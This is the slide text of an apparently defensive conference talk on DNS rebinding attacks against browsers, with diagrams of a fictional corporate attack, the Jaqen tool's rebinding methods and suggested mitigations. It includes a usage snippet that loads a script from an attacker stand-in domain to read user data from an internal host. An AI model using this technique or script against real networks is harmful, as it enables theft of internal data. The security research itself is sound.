There's no place like 127.0.0.1 - Achieving "reliable" DNS rebinding in modern browsers

There’s no place like 127.0.0.1
Achieving “reliable” DNS rebinding in modern browsers

$ whoami
Luke Young - Sr. Information Security Engineer at LinkedIn
Email: lyoung@linkedin.com or luke@bored.engineer
LinkedIn: www.linkedin.com/in/bored-engineer
3rd year at DEF CON
Attacking Network Infrastructure to Generate a 4 Tb/s DDoS for $5
Investigating the Practicality and Cost of Abusing Memory Errors

Agenda
Establishing Acme Corporation
Understanding DNS Rebinding
Automating DNS Rebinding
Practical Exploits
Demo!

Acme Corp - Network Architecture
!"
#
Internet
Chris
$
corp.acme.com
attackerdoma.in
%
Attacker
Corporate Network
Code Repository
code.corp.acme.com Developer

attackerdoma.in code.corp.acme.com
#include <iostream>
int main()
{
std::cout << "Hello, world!n";
}
HelloWorld.cpp:
Secrets.txt:
Billion $ Business Plan:
Same-origin policy refresher
evil.js GET /CompanySecrets.txt

#include <iostream>
int main()
{
std::cout << "Hello, world!n";
}
HelloWorld.cpp:
Secrets.txt:
Billion $ Business Plan:
evil.js
SOP
GET /CompanySecrets.txt

#include <iostream>
HelloWorld.cpp:
evil.js
SOP
attackerdoma.in
cors.example.com
GET /CompanySecrets.txt
GET /SomeFile.txt
subdomain.attackerdoma.inGET /SomeFile.txt
GET /SomeFile.txt

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
rebind.attackerdoma.in
DNS Question (A)

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 2 - 137.137.137.137

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
HTTP GET /
Host: rebind.attackerdoma.in

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
HTTP GET /
HTTP GET /

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
DNS Answer (A)
TTL 2 - 137.137.137.137
HTTP GET /
HTTP GET /
200 OK
<script>let DNSRebind…
200 OK
<script>let DNSRebind…

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in DNS Q (A) rebind.attackerdoma.in
DNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secsDNS A (A) 137.137.137.137.137 - 2 secs
HTTP GET / rebind.attackerdoma.in HTTP GET / rebind.attackerdoma.in
200 OK <script> let DNSRebind…200 OK <script> let DNSRebind…

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 60 - 10.0.0.99

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
HTTP GET /Secrets.txt

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
200 OK
Billion $ Business Plan

browser
! Chris
dns.corp
10.0.0.1
attackerdoma.in
137.137.137.137
code.corp
10.0.0.99
DNS Question (A)
DNS Question (A)
DNS Question (A)
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
DNS Answer (A)
TTL 60 - 10.0.0.99
200 OK
200 OK

DNS Rebinding Gotcha’s
Chris has to visit the malicious webpage
We required internal knowledge of the Acme network
We had to know the internal IP of code.corp.acme.com beforehand
Notoriously unreliable

Visiting the malicious webpage
Drive-by malicious ads
Phishing
etc

Internal knowledge of the target network
Know code.corp.acme.com exists
Know it lacked authentication
Know that “secrets.txt” is located there

Internal IP of code.corp.acme.com
CNAME code.corp.acme.com
Let the internal DNS resolver do the work for us

DNS Rebinding Unreliability
Browser DNS Caches
OS DNS Caches
Nameserver DNS Caches
Browser Protections
Additional Network Protections
General Hacky-ness

Browser Protections
DNS Record Pinning
Blacklist ports
Some failed attempts at detection

General Hacky-ness
We’ll come back to this…

Why isn’t this fixed yet?
It’s not the browser’s fault, and it’s not easy to fix.
“I'd also recommend that Firefox not fix this issue. It's not feasible for the
browser to protect the user from DNS rebinding attacks. Servers need to
protect themselves by validating the Host header and firewalls need to
protect themselves by preventing external names from resolving to internal
IP addresses.” - Commenter on Mozilla Firefox Bug 689835

General Hacky-ness
I promised that we’ll come back to this…

Reliable DNS Rebinding - Jaqen
On the ﬂy IP/port allocation
Dynamic payloads
“Intelligent” method selection
IPv6 and IPv4 support

TTLRebind
Relies on TTL expiration
First request triggers change
Exponential back-off TTLs (1, 2, 4, 8, 16, etc)

TTLRebind
;; QUESTION SECTION:
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1

ThresholdRebind
Relies on second DNS request
First request above threshold triggers change

ThresholdRebind
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1

MultiRecordRebind
No actual DNS rebind
Requires a pool of IPs to allocate
Nearly instant
Most expensive method to host

MultiRecordRebind
;00000000-0000-0000-0000-000000000000.jaqen.local. IN A
;; ANSWER SECTION:
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 203.0.113.1
00000000-0000-0000-0000-000000000000.jaqen.local. 2 IN A 192.168.1.1

Usage
<script src=“http://rebind.attackerdoma.in/js”></script>
<script>
let r = new DNSRebind();
const target = "http://internal.corp.acme.com/users";
r.fetch(target).then((resp) => resp.json()).then((users) => {
alert("Extracted the following users:n" + users.join("n"));
}, (e) => console.error(e));
</script>

Suggested mitigations
Add strong authentication
Protect at network border
Add TLS
Verify Host header

Future of jaqen
Bug ﬁxes. Lots of bug ﬁxes.
Dockerize?
Automated browser testing

$ exit
Luke Young - (lyoung@linkedin.com)
Personal Blog (with slides): bored.engineer
LinkedIn Blog Post: security.linkedin.com/blog
GitHub: github.com/linkedin/jaqen

There's no place like 127.0.0.1 - Achieving "reliable" DNS rebinding in modern browsers

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

Similaire à There's no place like 127.0.0.1 - Achieving "reliable" DNS rebinding in modern browsers

Similaire à There's no place like 127.0.0.1 - Achieving "reliable" DNS rebinding in modern browsers (20)

Dernier

Dernier (20)

There's no place like 127.0.0.1 - Achieving "reliable" DNS rebinding in modern browsers